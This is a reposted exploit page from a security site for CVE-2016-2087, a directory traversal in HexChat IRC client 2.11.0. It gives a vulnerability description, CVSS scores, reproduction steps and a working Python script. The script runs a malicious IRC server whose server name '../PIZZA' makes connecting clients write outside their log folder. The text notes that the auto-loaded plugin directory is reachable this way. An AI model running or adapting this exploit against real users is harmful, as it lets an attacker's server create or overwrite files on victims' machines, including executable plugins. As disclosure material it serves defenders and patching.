首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Hexchat IRC Client 2.11.0 - Directory Traversal
来源:vfocus.net 作者:PizzaHatHacker 发布时间:2016-04-05  
#!/usr/bin/python
#
####################
# Meta information #
####################
# Exploit Title: Hexchat IRC client - Server name log directory traversal
# Date: 2016-01-26
# Exploit Author: PizzaHatHacker
# Vendor Homepage: https://hexchat.github.io/index.html
# Software Link: https://hexchat.github.io/downloads.html
# Version: 2.11.0
# Tested on: HexChat 2.11.0 & Linux (64 bits)
# CVE : CVE-2016-2087
 
#############################
# Vulnerability description #
#############################
'''
Server Name Directory Traversal in src/common/text.c :
static char * log_create_pathname (char *servname, char *channame, char *netname)
 
In this function, channame (channel name) and netname (network name as
configured in the client software) are sanitized to prevent directory
traversal issues when creating a logfile BUT servname (server-provided
information) is NOT sanitized before possibly being injected into
the file path via the 'log_insert_vars' function call.
 
This bug could be triggered in the special (non-default) configuration
where a user would have :
* Enabled logging (Settings > Preferences > Chatting > Logging)
* Used a pattern containing '%s' in the log filepath (instead
of the default = '%n\%c.log').
 
When connecting to a malicious server, Hexchat IRC client may create or modify
arbitrary files on the filesystem with the permissions of the IRC client user
(non-root). For example, the following directories are accessible easily :
* <Hexchat-Conf>/addons : Executable plugin files that are automatically loaded
when starting Hexchat IRC client
* <Hexchat-Conf>/logs : ALL logfiles (from other servers too)
* <Hexchat-Conf>/scrollback : Scrollback text that is automatically
loaded when entering a channel/server (this may trigger further bugs)
* <Hexchat-Conf>/sounds : Sounds that may be played on demand via CTCP
SOUND messages (this could also trigger further bugs)
* etc.
 
CVSS v2 Vector : (AV:N/AC:H/Au:N/C:N/I:P/A:P)
CVSS Base Score : 4
Impact Subscore : 4.9
Exploitability Subscore : 4.9
'''
 
####################
# Proof of Concept #
####################
'''
* Install Hexchat IRC Client
* Settings > Preferences > Chatting > Logging : Enable logging and use the log
filepath pattern : '%s\%c.log' (without the quotes)
* Run this Python script on a (server) machine
* Connect to the server running the script
* Results : A 'PIZZA' directory will appear in <Hexchat-Conf>/PIZZA instead
of something like <Hexchat-Conf>/logs/___PIZZA
'''
 
import socket
import sys
import time
 
# Exploit configuration
HOST = ''
PORT = 6667
SERVERNAME = '../PIZZA'
 
# Create server socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    sock.bind((HOST, PORT)) # Bind to port
    sock.listen(0) # Start listening on socket
     
    print 'Server listening, waiting for connection...'
    conn, addr = sock.accept()
     
    print 'Connected with ' + addr[0] + ':' + str(addr[1]) + ', sending packets...'
    conn.send(':' + SERVERNAME + ' 001 bob :Welcome to the Internet Relay Network\r\n')
     
    # Wait and close socket
    conn.recv(256)
    sock.close()
     
    print 'Done.'
 
except socket.error as msg:
    print 'Failure binding to port : ' + str(msg[0]) + ' ' + msg[1]
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Hexchat IRC Client 2.11.0 - CA
·PCMAN FTP Server 2.0.7 Buffer
·Xion Audio Player <= 1.5 (buil
·Easy File Sharing HTTP SerEasy
·PHP 5.5.33 - Invalid Memory Wr
·Internet Explorer - MSHTML!CSV
·PHP 7.0.4/5.5.33 - SNMP Format
·Linux x86 - Disable ASLR by Se
·Apache Jetspeed Arbitrary File
·MESS 0.154-3.1 Buffer Overflow
·LShell <= 0.9.15 - Remote Code
·Apple Intel HD 3000 Graphics D
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved